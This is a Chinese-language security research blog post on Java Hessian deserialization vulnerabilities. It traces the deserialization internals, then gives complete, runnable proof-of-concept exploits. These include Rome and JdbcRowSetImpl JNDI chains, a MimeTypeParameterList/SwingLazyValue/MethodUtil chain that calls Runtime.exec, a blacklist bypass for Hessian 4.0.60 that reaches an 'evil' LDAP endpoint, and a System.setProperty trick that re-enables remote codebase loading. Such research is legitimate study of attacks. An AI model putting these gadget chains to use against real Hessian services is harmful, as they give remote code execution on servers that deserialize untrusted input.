本文最后更新于:6 天前
基础使用
序列化
1 2 3 4 5 6 7 8
| public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
|
反序列化
1 2 3 4 5
| public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return hessian2Input.readObject(); }
|
漏洞浅析
普通类反序列化流程
同之前fastjson相似的,在分析hessian反序列化的过程中,就需要创建一个普通的对象去跟踪分析一下反序列化流程,直到找到入口点
hessian反序列化的过程中并
创建一个普通类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.vivo.internet.moonbox.common.api;
public class Person { public String name; public transient int age; private float weight; public Person(String name,int age,float weight){ this.name = name; this.age = age; this.weight = weight; }
public String getName() { return name; }
public int getAge() { return age; }
public float getWeight() { return weight; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", weight=" + weight + '}'; } }
|
然后进行一波测试
1 2 3
| String s = ser(new Person("potato",20,70)); Person person = (Person) unser(s); System.out.println(person);
|
得到结果:
打上断点查看,原因在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口
但是在Hessian中,序列化的这个规则很容易被打破,在上图第372行代码中存在一个变量_isAllowNonSerializable
,在hessian中可以由下面的语句设置为true
1
| hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
再次运行程序
观察到返回结果为下图,transient属性不会被反序列化
所以说,这个Serializable接口实现的限制只存在于序列化,并不存在于反序列化,Hessian的反序列化理论上支持反序列化任何对象~
然后就跟进看看一整个反序列化的流程
跟进readObject(),这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象
这里我们反序列化的是自定义的Person类,所以走到了C,
走进readObjectDefinition(),
当步过readString()后,发现type被赋值为Person的类名了,中间的过程简单跟进一下看看即可
此处再走过len,代表参数的个数(非transient)
根据类获取反序列化器
一路步入,在这里有一处loadSerializedClass(),跟进
跟进load()
跟进isAllow(),感觉像是做过滤的
_allowList是在initAllow()赋值的
而_staticAllowList是在下面的静态代码块定义的,是加了白名单
但是这里的_allowList是null?
在initAllow()打上断点重新调试,发现从未走到这里,所以说这个isAllow()并没啥影响(高版本还真是在这里过滤Runtime的)
然后继续一路步过
来到判断type是否为基础类型,数组等的位置
后面的步骤都比较简单理解起来没什么难度(实际上是太懒了
就不写了
贴个调用栈有兴趣的可以自己调试调试
1 2 3 4 5 6 7 8 9 10 11 12
| getFieldMap:318, UnsafeDeserializer (com.caucho.hessian.io) <init>:80, UnsafeDeserializer (com.caucho.hessian.io) getDefaultDeserializer:528, SerializerFactory (com.caucho.hessian.io) loadDeserializer:481, SerializerFactory (com.caucho.hessian.io) getDeserializer:403, SerializerFactory (com.caucho.hessian.io) getDeserializer:717, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:618, SerializerFactory (com.caucho.hessian.io) getObjectDeserializer:594, SerializerFactory (com.caucho.hessian.io) readObjectDefinition:2193, Hessian2Input (com.caucho.hessian.io) readObject:2130, Hessian2Input (com.caucho.hessian.io) unser:65, Test (com.vivo.internet.moonbox.common.api) main:49, Test (com.vivo.internet.moonbox.common.api)
|
deserializer最后经过了一堆的判断之后,来到了获取默认反序列化器
最后调用到的是UnsafeDeserializer
在UnsafeDeserializer的静态代码块中能看到我们熟悉的Unsafe对象的获取
它的构造函数中,有这样一个fetFieldMap,根据Person的类,来获取对应的field
跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化
获取到的field会被存入一个人hashmap
和原生反序列化类似的,Hessian也做了对readResolve()方法的处理
其实现则非常简单,循环遍历一遍所有的method名,判断是否有readResolve的
然后一路跟回来,过程中碰到的一些缓存啥的也可以看看
等回到readObjectDefinition()后,这里的reader就变成了UnsafeDeserializer
走到这一部分,再次通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中
往下走,把前面的那些重要的内容封装起来,没啥好说的
然后add到_classDefs类定义中
然后就结束了readObjectDefinition()的过程,如其名,获取对象的各种定义
继续跟进readObject(),
然后走到这里,跟进去
一路走到底,上面实际上就是从def中获取各种的属性啊反序列化器啊等等
跟进去
实际上就是开始通过unsafe来开始反序列化了,走不进去了就)
走过这一步,obj已经是一个空的Person对象了
再跟进这个readObject(),理论上来说,走进去之后就要开始给对象赋值了
没什么特别好说的,经过这样两步完成了赋值,然后就结束了反序列化的过程~
漏洞点
这么跟了一遍下来,是通过unsafe来进行赋值操作的,似乎并没有像之前原生反序列化或者fastjson那样有readObject()或者getter/setter方法来触发
那漏洞点在哪里呢?
答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中
hashCode()
创建一个HashMap对象跟进调试调试
进到readObject()之后,对于tag的判断来到了’H’,也就是HashMap,跟进readMap()看看
继续跟进下面的readMap()
然后就来到了比较重要的一部分了,这里判断type如果为空,那么默认是给map赋值一个HashMap,
如果是Map类型的,则当做HashMap来反序列化,如果是SortedMap类型的则当做TreeMap来进行反序列化
然后就开始将键值对分别反序列化后存入map了
然后我们知道,当对hashMap调用put()方法的时候,为了检测key值唯一性,会先调用hash(key),进而调用key.hashCode(),因此我们就可以在hashMap的kay处做文章,构造利用链,hashCode()为入口点
equals()
在putVal()中,还会调用到key的equals()方法
compareTo()/compare()
而对于TreeMap,为了检验key值
之前没咋用过,,所以一开始出了点小问题,问题不大
改一个自定义的Comparable
1 2 3 4 5 6 7 8 9 10
| TreeMap<Object,Object> treeMap = new TreeMap<>(); treeMap.put(new Comparable() { @Override public int compareTo(Object o) { return 0; } }, null);
String treeMapStr = ser(treeMap); unser(treeMapStr);
|
readObject()的第一步来到了’M’,经过readType()获取具体的Map类型之后,调用readMap()
然后走MapDeserializer的readMap()
再就是和上面HashMap的类似了
区别较大的是TreeMap的put()方法,跟进第一个compare()方法
会发现对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法
自然就来到了我们的demo中的compareTo()了
gadget
Rome
马上学习了一下并紧接着这篇博客发布了关于yso中rome的反序列化:link
实际上一整条链子和yso的几乎没什么区别
1 2 3 4 5 6 7 8 9 10 11
| JdbcRowSetImpl.getDatabaseMetaData() Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() ObjectBean.toString() EqualsBean.beanHashCode() HashMap.hash() HashMap.put() MapDeserializer.readMap() SerializerFactory.readMap() Hessian2Input.readObject()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| package com.vivo.internet.moonbox.common.api;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import com.vivo.internet.moonbox.common.api.model.RepeatModel; import com.vivo.internet.moonbox.common.api.serialize.HessianSerializer; import com.vivo.internet.moonbox.common.api.util.SerializerWrapper; import javassist.*; import sun.misc.Unsafe; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain; import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
HashMap<Object,Object> hashMap = new HashMap<>();
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class); setField(toStringBean,"_obj",jdbcRowSet); setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);
EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class); setField(equalsBean,"_obj",toStringBean);
hashMap.put(1,1); setHashMapKey(hashMap,1,equalsBean);
String s = ser(hashMap);
unser(s);
}
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); Object obj = hessian2Input.readObject(); return obj; }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{ Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry!= null){ Field keyField = entry.getClass().getDeclaredField("key"); keyField.setAccessible(true); Object keyValue = keyField.get(entry); if (keyValue.equals(oldKey)) setField(entry,"key",newKey); } } }
public static byte[] getEvilBytes(String cmd) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evil"); String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}"; ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.insertBefore(code);
return ctClass.toBytecode(); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(); }
}
|
有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪
摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原
(因为我yso的rome一开始用的是TemplatesImpl的触发点,,加上没有回显报错,导致这里硬控我半个小时,,
二次反序列化
利用java.security.SignedObject下的getObject()方法实现原生反序列化
Resin
导入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0.63</version> </dependency>
|
Hessian2.expect()
在Hissian2Input#expect()方法下,存在这么几点需要注意的
1、Input序列化流的offset在这个过程中自减1
2、offset自减1后,调用readObject()进行反序列化
3、将obj和字符串进行拼接,将调用obj的toString()方法
toString()能够大大延伸利用链
查找一下用法,除了readObject()之外几乎所有read**()方法都有调用
查找用法走到readString()方法,读取一个字节流,经过判断是否为一些基本类型之后,若都不是,则走进default来执行expect()抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public String readString() throws IOException { int tag = read();
switch (tag) { case 'N': return null; case 'T': return "true"; ......
default: throw expect("string", tag); } }
|
在上面跟踪反序列化流程的时候,提到过在readObjectDefinition()中获取类类型的时候第一步就会调用readObject()方法来获取对象的type
在readObject()中,当第一个字节为大写’C’,对应ascii为67
前面我们提到,hessian是通过byte每一部分的第一个字符即tag作为标识符来判断后续一部分字节流对应的类型
前面使用hashmap的时候Byte的第一位为72,即’H’,会走到hashmap的反序列化流程
重要的是,这一部分字节流都是我们可控的
来捋一下流程:
假如说序列化的对象是我们前面的恶意hashmap
一个序列化字节流封装到Hessian2Input中,调用readObject(),先读取一次tag,偏移量_offset加一,后面的字节流是一个hashMap恶意对象
我们的sink是expect(),所以就要tag为67
走进readObjectDefinition()后,调用toString(),再调用一次read(),偏移量_offset再加一,由于hashMap不属于上面判断的任何基本类型,所以走到default的expect(),
偏移量_offset减一,刚刚好这时候从偏移开始的字节流对应的是hashmap的序列化数据,然后对这个字节流调用一次readObject(),这时候会反序列化一次恶意hashmap,所以会触发一次poc,
再走到下面的obj和字符串拼接,调用obj的toString(),这时候会再触发一次poc,为什么呢?
实际上对hashMap调用toString()的时候,会调用父类AbstractMap的toString(),再调用其中的append(),再直到调用key的hashCode(),就不展开细说了
贴个调用栈
1 2 3 4 5 6 7 8
| hashCode:176, EqualsBean (com.sun.syndication.feed.impl) toString:236, Object (java.lang) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:534, AbstractMap (java.util) valueOf:2994, String (java.lang) println:821, PrintStream (java.io) main:53, Main (org.example)
|
因为toString()的调用,让我们的攻击链不局限于hashmap和treemap,入口点从hashCode()变成了toString()
Hessian-jdk原生链
Runtime
入口点在javax.activation.MimeTypeParameterList的toString(),调用了parameters的get方法,而这里的parameters方法是一个HashTable
找HashTable的子类,发现只有UIDefaults有get()方法,并在其中调用了getFromHashtable(),传入key可控
在getFromHashtable()中,value从hashtable中通过key获取,LazyVlue是一个接口,若value是LazyValue的子类,调用value的createValue()方法
依次找一找LazyValue实现类的createValue()
在LazyPainter下的createValue()中有类加载和类实例化,前面讲到CC链的时候提到TrAXFilter的构造器下调用了Templates的newTransformer()方法实现攻击
但是定睛一看,1332行指定了构造器的参数,和我们想要的的TrAXFilter完全不同,走不通,继续看看
来到SwingLazyValue的createValue()方法,一切都豁然开朗了起来
但是还没完,这里的invoke只能调用任意静态方法,不过下面的任意实例化对象倒是给我们利用TrAXFilter提供了一个可能的的攻击手段
构造函数:
回顾一下利用流程:
1 2 3 4
| javax.activation.MimeTypeParameterList.toString() javax.swing.UIDefaults.get(Object) javax.swing.UIDefaults.getFromHashtable(Object) SwingLazyValue.createValue(UIDefaults)
|
初步构造一下试试:
结果报错了
1 2 3 4 5 6 7
| Object[] arg = new Object[]{getTemplates()}; MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",null,arg); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults); System.out.println(mimeTypeParameterList);
|
但是是能走到createValue()中的,当步过获取构造函数的一行的时候抛出异常
观察className等均没问题,感觉问题是出在getClassArray()的返回值,跟进去看看,最后通过getClass()来获取TemplatesImpl的class的
但是我们去看看TrAXFilter的构造函数,参数是接口Templates而并非TemplatesImpl,所以在getConstructor()的时候会出错
目前所学暂时拿他没招,,看看静态方法调用吧
MethodUtil.invoke()可以调用任意对象的方法
使用方法如下
1
| MethodUtil.invoke(Runtime.class.getDeclaredMethod("exec", String.class),Runtime.getRuntime(),new Object[]{"calc"});
|
但是如果在SwingLazyValue()构造函数中传
很容易发现,Runtime.getRuntime()在进入SwingLazyValue.createValue()之后会获取其类Runtime.class
1
| SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{Runtime.class.getDeclaredMethod("exec", String[].class),Runtime.getRuntime(),new Object[]{"calc"}});
|
但是MethodUtil.invoke()的第二个参数是Object而不是Runtime,因此Method会获取失败
所以这里要做一个简单的变通,二次调用MethodUtil.invoke(),因为MethodUtil.invoke()是静态方法,所以二次调用中第二个参数可以是任意的值
为了符合SwingLazyValue.createValue()中获取Method的type,我们让它是Object对象
1 2 3
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class); MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});
|
正向构造一下poc并用println()触发toString():
1 2 3 4 5 6 7 8 9 10
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults); System.out.println(mimeTypeParameterList);
|
成功触发计算器弹窗,接下来回到最上面提到的第一个字节67,这里直接用write()对OutputStream进行修改写入
最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package org.example;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); System.out.println(s); unser(s);
}
public static Object unser(String string) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); Object obj = hessian2Input.readObject(); return obj; }
public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); byteArrayOutputStream.write(67); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static byte[] getEvilBytes(String cmd) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evil"); String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}"; ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.insertBefore(code);
return ctClass.toBytecode(); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(); }
}
|
但是在实际测试的时候,当我切换了一下jdk版本,用之前的payload反序列化,却出现下面几种问题:
或者没弹窗但是终端输出还是一样的,调试看看是哪里出问题了
8u382生成payload,8u381和8u65反序列化:
跟进到最后,却发现原本参数是String的exec(),却走到了参数是数组String[]的???但是我们传入的参数又是字符串,所以出错
来到上一帧看看Method的真面目,却又没什么问题,尝试学习为什么会导致这样,排除过jsk位数、jdk版本等各种影响,没得到一个比较好的总结,有知道的师傅欢迎来交流
针对性地,写下来String[]参数的exec的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class);
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{new String[]{"calc"}}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); System.out.println(s);
|
然后用u65再试的时候,又来到了exec(String),,,
真是玄学了啊
hessian高版本绕过
引入依赖hissian>=4.0.60
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.60</version> </dependency>
|
还记得前文提到的isAllow()吗
它回来辣!
和之前有比较大的变化,之前这个函数直接几乎没用,但是这次加入了一个对denyList的黑名单判断
黑名单赋值在静态代码块中,直接禁了Runtime
这时候想到JdbcRowSetImpl.getDatabaseMetaData()导致的jndi注入,并未在黑名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}}); defaults.put("666",swingLazyValue); setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); unser(s);
|
在jdk低版本,hessian高版本成功弹窗
JNDI绕过jdk高版本trustURLCodebase限制
在前面讲jndi注入的时候,在最后留下了一个方法,利用System.setProperty()方法来修改系统变量,乍一看System好像在前面Hessian高版本的黑名单中,但是实际上序列化的并不是System对象,而是setProperty()方法的Method对象,所以在Hessian高版本依旧行得通
回到上面,观察下面的代码,很容易看出对UIDefaults进行键值对的遍历
因此能够在触发payload的value之前,put一个调用setProperty()方法的value
但是突然想到一个问题
调用setProperty()之后,第一个键值对完成了他的使命,java程序抛出了异常
所以程序无法继续执行下去,代码蛮写一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData"); Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class); SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults.put("777",swingLazyValue0); defaults.put("1",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
String s = ser(mimeTypeParameterList); unser(s);
|
若用try结构也能触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData"); Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);
MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults0 = new UIDefaults(); SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});
Field field = BaseRowSet.class.getDeclaredField("dataSource"); field.setAccessible(true); JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class); field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class); UIDefaults defaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults0.put("777",swingLazyValue0); defaults.put("1",swingLazyValue);
setField(mimeTypeParameterList0,"parameters",defaults0); setField(mimeTypeParameterList,"parameters",defaults);
try { String s0 = ser(mimeTypeParameterList0); System.out.println(s0); unser(s0); }finally { String s = ser(mimeTypeParameterList); System.out.println(s); unser(s); }
|